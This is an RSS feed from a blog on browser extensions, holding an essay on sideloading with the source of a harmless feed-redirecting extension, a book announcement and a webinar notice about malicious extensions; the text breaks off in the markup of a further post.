<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:googleplay="http://www.google.com/schemas/play-podcasts/1.0"><channel><title><![CDATA[!important]]></title><description><![CDATA[Browser extensions, web development, and JavaScript. Occasional sarcasm.]]></description><link>https://mattfrisbie.substack.com</link><image><url>https://substackcdn.com/image/fetch/$s_!MnBo!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f89e3a2-f508-4b93-a084-a126ba50c6f3_998x998.png</url><title>!important</title><link>https://mattfrisbie.substack.com</link></image><generator>Substack</generator><lastBuildDate>Fri, 17 Apr 2026 14:44:36 GMT</lastBuildDate><atom:link href="https://mattfrisbie.substack.com/feed" rel="self" type="application/rss+xml"/><copyright><![CDATA[Matt Frisbie]]></copyright><language><![CDATA[en]]></language><webMaster><![CDATA[mattfrisbie@substack.com]]></webMaster><itunes:owner><itunes:email><![CDATA[mattfrisbie@substack.com]]></itunes:email><itunes:name><![CDATA[Matt Frisbie]]></itunes:name></itunes:owner><itunes:author><![CDATA[Matt Frisbie]]></itunes:author><googleplay:owner><![CDATA[mattfrisbie@substack.com]]></googleplay:owner><googleplay:email><![CDATA[mattfrisbie@substack.com]]></googleplay:email><googleplay:author><![CDATA[Matt Frisbie]]></googleplay:author><itunes:block><![CDATA[Yes]]></itunes:block><item><title><![CDATA[Everyone Should Sideload More Browser Extensions]]></title><description><![CDATA[Android users are losing the right to sideload: extensions show why it matters]]></description><link>https://mattfrisbie.substack.com/p/everyone-should-sideload-more-browser</link><guid isPermaLink="false">https://mattfrisbie.substack.com/p/everyone-should-sideload-more-browser</guid><dc:creator><![CDATA[Matt Frisbie]]></dc:creator><pubDate>Thu, 16 Oct 2025 15:52:14 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!MnBo!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f89e3a2-f508-4b93-a084-a126ba50c6f3_998x998.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Consumers get software in two ways: curated marketplaces and DIY installs. Both are legitimate, and each serves a different and irreplaceable role.</p><h2><strong>Marketplaces </strong></h2><p>Apple App Store, Google Play, Chrome Web Store, Microsoft Store, Linux Snap Store, Visual Studio Marketplace, Steam. </p><p>These are curated stores, operated by the OEM or a trusted third party company, which gather software into a single trusted location. Users browse, search, and install with a single click. The marketplace handles automatic updates, permissions, and payments. The emphasis is on <em><strong>convenience</strong></em>.</p><h2><strong>DIY</strong></h2><p>Covers everything outside marketplaces. You might be downloading a prebuilt binary directly from a developer&#8217;s website, pulling a package from a GitHub release, installing via a package manager like Homebrew or apt, or even cloning a repository and building from source. Updates are manual, payment is ad hoc, and permissions are a matter of caveat emptor. The emphasis is on <em><strong>flexibility</strong></em>.</p><p>The recent news about <a href="https://arstechnica.com/gadgets/2025/08/google-will-block-sideloading-of-unverified-android-apps-starting-next-year/">Google deciding to block sideloaded apps</a> has sharpened the discourse around how we load software onto our devices. (We&#8217;ll skip over the debate about how appropriate the term &#8220;sideloading&#8221; is to describe software installation). The general consensus is that this move is extremely hostile towards users and developers, and I strongly agree with this sentiment. </p><h2>Let&#8217;s explore <em>why</em> this move is hostile with a browser extension analogy.</h2><p>In the realm of browser extensions, let&#8217;s review our install avenues:</p><p><strong>Marketplaces</strong>: <a href="https://chromewebstore.google.com/">Chrome Web Store</a>, <a href="https://addons.mozilla.org/en-US/firefox/">Firefox Add-on Store</a>, <a href="https://microsoftedge.microsoft.com/addons/Microsoft-Edge-Extensions-Home">Edge Add-on Store</a>, <a href="https://addons.opera.com/en/extensions/">Opera Add-ons Store</a></p><p><strong>DIY</strong>: <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Your_first_WebExtension">load extension from source</a></p><p><strong>Problem</strong>: I have a bad habit of idly browsing social media feeds when I&#8217;m supposed to be working, and I suspect I&#8217;m not alone. After all, the feeds are designed to be addictive. I don&#8217;t want to wholesale block these sites entirely, as I use parts of them for work, I just want to stop myself from winding up on the feed. Of course, these sites try very hard to dump you back on the feed.</p><p><strong>Solution</strong>: a very simple browser extension that redirects from the feed to your profile. </p><ul><li><p>It intentionally does this in a very dumb way (waiting for the browser to finish redirects, so there is a flash of the feed), but it always works. </p></li><li><p>I can still use messaging, see my profile, and use the rest of the platform normally.</p></li><li><p>When I&#8217;m inevitably pushed back to the feed, I&#8217;m kicked right back to my profile. There&#8217;s no opportunity for me to be &#8220;sucked in&#8221; for 20 minutes</p></li><li><p>On the rare occasion I do need to see the feed, I can toggle the extension on/off easily.</p></li></ul><p>The <a href="https://github.com/classvsoftware/nofeeds">NoFeeds extension is less than 100 lines of code and 2 files</a>, scroll down to see the full source.</p><h2>There&#8217;s no need for anyone to install NoFeeds from a Marketplace.</h2><ul><li><p><strong>NoFeeds uses dangerous permissions</strong>. <code>tabs</code> and <code>&lt;all_urls&gt;</code> give an extension near-total visibility into your browsing. If I install this from a marketplace, I&#8217;m implicitly granting these permissions to the developer as long as I have the extension installed.</p></li><li><p><strong>No need for automatic updates</strong>. This extension is &lt;100 lines of code, has no dependencies, and uses a handful of Web Extensions APIs. What is there to update?</p></li><li><p><strong>Keep it dead simple</strong>. I don&#8217;t need a flashy UI, I don&#8217;t need an onboarding flow, I don&#8217;t need a homepage or a blog or a settings page or an icon that animates or a modal that asks for reviews or a toggle buried behind three menus or a welcome tour or a privacy policy link that opens in a new tab or a custom font or an update banner or a &#8220;rate us&#8221; prompt or a cute empty state or a tooltip explaining what a tooltip is. It should work just like an adblocker - install and forget.</p></li><li><p><strong>Easy customization</strong>. Want to add your own social media redirects? Just modify the redirect rules yourself and reload. I don&#8217;t need a list of 460 commonly used social media sites that I don&#8217;t use. </p></li><li><p><strong>Zero risk of compromise or tracking</strong>. The entire source code is easy to read and understand. I can be 100% sure this extension is self-contained and will stay that way.</p></li><li><p><strong>Zero technical ability required to install</strong>. There&#8217;s no build process or compilation. Download the code, enable developer mode in your browser, and load the folder. Anyone proficient with Microsoft Word can do it.</p></li><li><p><strong>LLMS are great for analysis/modification</strong>. Any non-technical user can dump the source into an LLM and ask for modifications, or ask if it&#8217;s safe to self-install. I&#8217;m comfortable asserting that LLMs are still trustworthy in this respect, and would be able to accurately modify or analyze this tiny program.</p></li></ul><h2>Installing self-installed extensions should be way more common</h2><p>There&#8217;s plenty of one-off extensions like this to improve quality-of-browsing-life for desktop browsers. The <code>userScripts</code> API <em>sort of</em> addresses this, but I continue to find a DIY-installed set-and-forget extension is best and simplest.</p><p>It&#8217;s easier than ever these days to use a LLM to churn out a small-scale custom browser extension that fixes something we hate about the web. Why not self-install these? LLMs leave a lot to be desired in many areas, but for now I think I&#8217;m pretty safe to say that they can be trusted to not shim some spyware into a home-rolled browser extension.</p><h2>What if the extension DIY install avenue was removed?</h2><p>Let&#8217;s return now to the Android analogy. Suppose that all browsers removed option for DIY install. I&#8217;m a layman consumer without a developer account, and I want to use NoFeeds.</p><p>Now I <em>must</em> install it from a marketplace. </p><ul><li><p>I can&#8217;t turn off silent automatic updates for an extension that needs no updates. What if this extension gets popular and is sold to an untrustworthy developer? I&#8217;m getting that developer&#8217;s update whether I like it or not.</p></li><li><p>What if the extension is closed source, and changes in a way I don&#8217;t like? The best I can do is bother the developer and hope for the best.</p></li><li><p>What if I want to use it on a different browser? If it&#8217;s only published on one marketplace, I&#8217;m out of luck.</p></li></ul><p>This would be completely unacceptable.</p><p>This perfectly mirrors the conundrum the Android community is facing. Granted, the mobile device APIs and device surface is far larger, and considerably more money flows through mobile apps than extensions. Proponents might make the argument that there&#8217;s security concerns, but I&#8217;d argue the data that flows through a desktop web browser is just as sensitive as that on a mobile device.</p><p>The freedom to install our own software isn&#8217;t a loophole, it&#8217;s a cornerstone of personal computing.</p><div><hr></div><h2>NoFeeds source code:</h2><p><em>manifest.json</em></p><pre><code>{
  &#8220;manifest_version&#8221;: 3,
  &#8220;name&#8221;: &#8220;NoFeeds&#8221;,
  &#8220;version&#8221;: &#8220;1.0&#8221;,
  &#8220;description&#8221;: &#8220;Redirects feed pages of common social media platforms to profile pages.&#8221;,
  &#8220;permissions&#8221;: [&#8221;tabs&#8221;, &#8220;storage&#8221;],
  &#8220;host_permissions&#8221;: [&#8221;&lt;all_urls&gt;&#8221;],
  &#8220;background&#8221;: {
    &#8220;service_worker&#8221;: &#8220;background.js&#8221;
  },
  &#8220;action&#8221;: {}
}
</code></pre><p><em>background.js</em></p><pre><code>const BADGE_COLOR_ON = &#8220;#00FF00&#8221;; // Green
const BADGE_COLOR_OFF = &#8220;#FF0000&#8221;; // Red
const ENABLED = &#8220;enabled&#8221;;

const redirectRules = [
  {
    feedUrl: &#8220;https://www.linkedin.com/feed/&#8221;,
    profileUrl: &#8220;https://linkedin.com/in/&#8221;,
  },
  {
    feedUrl: &#8220;https://www.facebook.com&#8221;,
    profileUrl: &#8220;https://facebook.com/me&#8221;,
  },
  {
    feedUrl: &#8220;https://x.com/home&#8221;,
    profileUrl: &#8220;https://x.com/i/profile&#8221;,
  },
];

async function initializeExtension() {
  const { enabled } = await chrome.storage.local.get(ENABLED);

  if (enabled === undefined) {
    await chrome.storage.local.set({ enabled: true });
  }

  await updateIcon();
}

async function updateIcon() {
  const { enabled = true } = await chrome.storage.local.get(ENABLED);
  const badge = enabled ? &#8220;ON&#8221; : &#8220;OFF&#8221;;
  const color = enabled ? BADGE_COLOR_ON : BADGE_COLOR_OFF;

  chrome.action.setBadgeText({ text: badge });
  chrome.action.setBadgeBackgroundColor({ color });
}

chrome.runtime.onInstalled.addListener(() =&gt; {
  initializeExtension();
});

chrome.action.onClicked.addListener(async () =&gt; {
  const { enabled } = await chrome.storage.local.get(ENABLED);
  const newState = !enabled;

  await chrome.storage.local.set({ enabled: newState });
  await updateIcon();
});

chrome.tabs.onUpdated.addListener(async (tabId, changeInfo, tab) =&gt; {
  if (changeInfo.status !== &#8220;complete&#8221; || !tab.url) {
    return;
  }

  const { enabled } = await chrome.storage.local.get(ENABLED);
  if (!enabled) {
    return;
  }

  const currentUrl = new URL(tab.url);

  for (const { feedUrl, profileUrl } of redirectRules) {
    const feedUrlObj = new URL(feedUrl);
    if (
      currentUrl.hostname === feedUrlObj.hostname &amp;&amp;
      currentUrl.pathname === feedUrlObj.pathname
    ) {
      chrome.tabs.update(tabId, { url: profileUrl });
      break;
    }
  }
});

initializeExtension();</code></pre>]]></content:encoded></item><item><title><![CDATA[Announcing the 2nd Edition of Building Browser Extensions]]></title><description><![CDATA[Updated with the latest APIs, practical LLM examples, and extensive tutorials]]></description><link>https://mattfrisbie.substack.com/p/announcing-the-2nd-edition-of-building</link><guid isPermaLink="false">https://mattfrisbie.substack.com/p/announcing-the-2nd-edition-of-building</guid><dc:creator><![CDATA[Matt Frisbie]]></dc:creator><pubDate>Mon, 15 Sep 2025 15:20:19 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!mZ9W!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a1477b9-d62a-4237-8df7-01fb47acfcb6_990x1500.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!mZ9W!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a1477b9-d62a-4237-8df7-01fb47acfcb6_990x1500.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!mZ9W!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a1477b9-d62a-4237-8df7-01fb47acfcb6_990x1500.jpeg 424w, https://substackcdn.com/image/fetch/$s_!mZ9W!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a1477b9-d62a-4237-8df7-01fb47acfcb6_990x1500.jpeg 848w, https://substackcdn.com/image/fetch/$s_!mZ9W!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a1477b9-d62a-4237-8df7-01fb47acfcb6_990x1500.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!mZ9W!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a1477b9-d62a-4237-8df7-01fb47acfcb6_990x1500.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!mZ9W!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a1477b9-d62a-4237-8df7-01fb47acfcb6_990x1500.jpeg" width="310" height="469.6969696969697" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1a1477b9-d62a-4237-8df7-01fb47acfcb6_990x1500.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:false,&quot;imageSize&quot;:&quot;normal&quot;,&quot;height&quot;:1500,&quot;width&quot;:990,&quot;resizeWidth&quot;:310,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:&quot;center&quot;,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!mZ9W!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a1477b9-d62a-4237-8df7-01fb47acfcb6_990x1500.jpeg 424w, https://substackcdn.com/image/fetch/$s_!mZ9W!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a1477b9-d62a-4237-8df7-01fb47acfcb6_990x1500.jpeg 848w, https://substackcdn.com/image/fetch/$s_!mZ9W!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a1477b9-d62a-4237-8df7-01fb47acfcb6_990x1500.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!mZ9W!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a1477b9-d62a-4237-8df7-01fb47acfcb6_990x1500.jpeg 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>I wrote the first edition of <em>Building Browser Extensions</em> in 2022 to address what I judged to be a dire need in the extension ecosystem. </p><ul><li><p>Development was <strong>poorly documented</strong> and <strong>under-resourced</strong>. </p></li><li><p>There were no practical, developer-focused guides that explained <strong>how extensions actually worked</strong>. </p></li><li><p>Web developers had powerful APIs available to them, but <strong>most didn&#8217;t realize just how much could be accomplished</strong> inside the browser environment. </p></li><li><p>The transition to Manifest V3 was also reshaping extension development, and <strong>developers urgently needed guidance</strong> to navigate the changes.</p></li></ul><p><strong>The reception to the 1st edition was </strong><em><strong>overwhelmingly</strong></em><strong> positive</strong>. Developers and companies alike immediately identified the value of a high-quality text covering extension development.</p><div><hr></div><p>A few months after the first edition was published, OpenAI released ChatGPT, and the large language model boom transformed software development, including and especially extension development. <strong>In 2025, it has never been easier to build and publish an extension</strong>. At the same time, an entirely new category of LLM-powered extensions has emerged. With this second edition, I wanted to capture both the timeless fundamentals of extension development and the new opportunities that have opened up.</p><p><strong>Extensions are insanely powerful pieces of software.</strong> In the hands of a careful developer, they are elegant tools that unlock capabilities websites can&#8217;t reach. In the hands of an inexperienced developer, they can be clumsy or insecure. In the hands of a malicious actor, they become vehicles for infiltration and theft. This book gives you the tools to ensure your extensions are efficient, secure, and reliable.</p><p><strong>The WebExtensions API has advanced considerably in recent years</strong>. Manifest V3 is now the standard across Chromium browsers, and new additions like the side panel, offscreen documents, user scripts, and vendor-specific APIs such as the Chrome Prompt API are covered in depth.</p><p>One of the most frequent requests I heard after the first edition was for <strong>more tutorials</strong>. In response, I dedicated an entire chapter to hands-on projects that walk through real-world extensions. You&#8217;ll learn how to build:</p><ul><li><p>Tab managers</p></li><li><p>Screen recorders</p></li><li><p>Ad blockers</p></li><li><p>Password managers</p></li><li><p>User script managers</p></li><li><p>AI chatbots</p></li><li><p>Monetized extensions</p></li></ul><p><strong>Extension tooling has also come a </strong><em><strong>long</strong></em><strong> way</strong>. React remains the most widely used framework, but new platforms such as Vite, Extension.js, and WXT have grown in popularity. I&#8217;ve updated the book&#8217;s coverage of frameworks and tooling to reflect how developers actually work today.</p><h3>You Will Learn:</h3><ul><li><p>The fundamental building blocks of browser extensions and how they interact with the browser</p></li><li><p>How to avoid common pitfalls that can lead to vulnerabilities, performance issues, or marketplace rejections</p></li><li><p>How to master the entire development lifecycle, from writing your first extension to publishing in the Chrome Web Store, Firefox Add-ons, and other repositories</p></li><li><p>Best practices for networking, authentication, storage, and extension management</p></li><li><p>How to build with modern tools, languages, and frameworks</p></li></ul><h3>New for This Edition:</h3><ul><li><p>Coverage of the latest APIs: side panel, offscreen documents, user scripts, and vendor-specific APIs like the Chrome Prompt API</p></li><li><p>Hands-on tutorials for building extensions including monetization strategies, AI assistants, password managers, ad blockers, and DevTools integrations</p></li><li><p>Updated coverage of frameworks and tooling such as Vite, Extension.js, and WXT</p></li></ul><div><hr></div><p>Patrick Kettner, the Chrome Extension Developer Advocate who brought me into the Google Developer Expert program, generously served as both the foreword author and technical editor. The book is considerably stronger because of his expert contributions.</p><p>I sincerely hope you enjoy!</p><p>-Matt Frisbie</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.amazon.com/Building-Browser-Extensions-Create-Firefox/dp/B0F78Z9QC8&quot;,&quot;text&quot;:&quot;Get the book on Amazon&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.amazon.com/Building-Browser-Extensions-Create-Firefox/dp/B0F78Z9QC8"><span>Get the book on Amazon</span></a></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://link.springer.com/book/10.1007/979-8-8688-1594-2&quot;,&quot;text&quot;:&quot;Get the book on Springer LInk&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://link.springer.com/book/10.1007/979-8-8688-1594-2"><span>Get the book on Springer LInk</span></a></p><p></p><p></p>]]></content:encoded></item><item><title><![CDATA[Let's Talk About Malicious Browser Extensions: Part 3]]></title><description><![CDATA[Webinar hosted by Seraphic Security: "The Unreasonable Effectiveness of Malicious Browser Extensions"]]></description><link>https://mattfrisbie.substack.com/p/lets-talk-about-malicious-browser-9e0</link><guid isPermaLink="false">https://mattfrisbie.substack.com/p/lets-talk-about-malicious-browser-9e0</guid><dc:creator><![CDATA[Matt Frisbie]]></dc:creator><pubDate>Mon, 17 Mar 2025 13:38:23 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!4iQ4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!4iQ4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!4iQ4!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png 424w, https://substackcdn.com/image/fetch/$s_!4iQ4!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png 848w, https://substackcdn.com/image/fetch/$s_!4iQ4!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png 1272w, https://substackcdn.com/image/fetch/$s_!4iQ4!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!4iQ4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png" width="1456" height="989" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:989,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!4iQ4!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png 424w, https://substackcdn.com/image/fetch/$s_!4iQ4!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png 848w, https://substackcdn.com/image/fetch/$s_!4iQ4!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png 1272w, https://substackcdn.com/image/fetch/$s_!4iQ4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Join me for this upcoming webinar in the Seraphic Attack Surface Series, where I&#8217;ll join Alon Levin, VP of Product Management at Seraphic, to analyze real-world extension-based breaches, including Cyberhaven, ChromeLoader, PDF Toolbox, and Dataspii, and reveal how attackers exploit browser extensions to infiltrate enterprises.<br><br><strong>What we will cover:</strong><br>&#10004; How attackers manipulate browser extensions to evade security controls<br>&#10004; Insights from major extension-based breaches and their impact<br>&#10004; Why traditional security tools fail to detect these threats<br>&#10004; Actionable strategies to protect your organization</p><p><strong>Who should attend?</strong><br>This webinar is ideal for CISOs, security architects, IT leaders, and anyone responsible for securing enterprise environments against emerging threats.</p><p><strong>Live Q&amp;A</strong><br>The session will include a live Q&amp;A&#8212;don&#8217;t miss your chance to get expert insights and practical recommendations!<br><br>&#128197; Date: Thursday, March 20, 2025<br>&#9200; Time: 11:00 AM ET | 5:00 PM CET<br>&#128205; Location: Online (Zoom)</p><p><br>Register here: <a href="https://seraphicsecurity.com/resources/webinar/the-unreasonable-effectiveness-of-malicious-browser-extensions">https://seraphicsecurity.com/resources/webinar/the-unreasonable-effectiveness-of-malicious-browser-extensions</a></p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://mattfrisbie.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading !important! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[Let's Talk About Malicious Browser Extensions: Part 2]]></title><description><![CDATA[Stopping Malicious Browser Extensions: Understand and Mitigate the Risk in Enterprise Environments]]></description><link>https://mattfrisbie.substack.com/p/lets-talk-about-malicious-browser-cbb</link><guid isPermaLink="false">https://mattfrisbie.substack.com/p/lets-talk-about-malicious-browser-cbb</guid><dc:creator><![CDATA[Matt Frisbie]]></dc:creator><pubDate>Thu, 13 Feb 2025 17:16:12 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!4iQ4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!4iQ4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc9c1a1f8-6111-4b6e-8a79-2bcf6d41eced_2886x1960.png" data-component-name="Image2ToDOM"><div 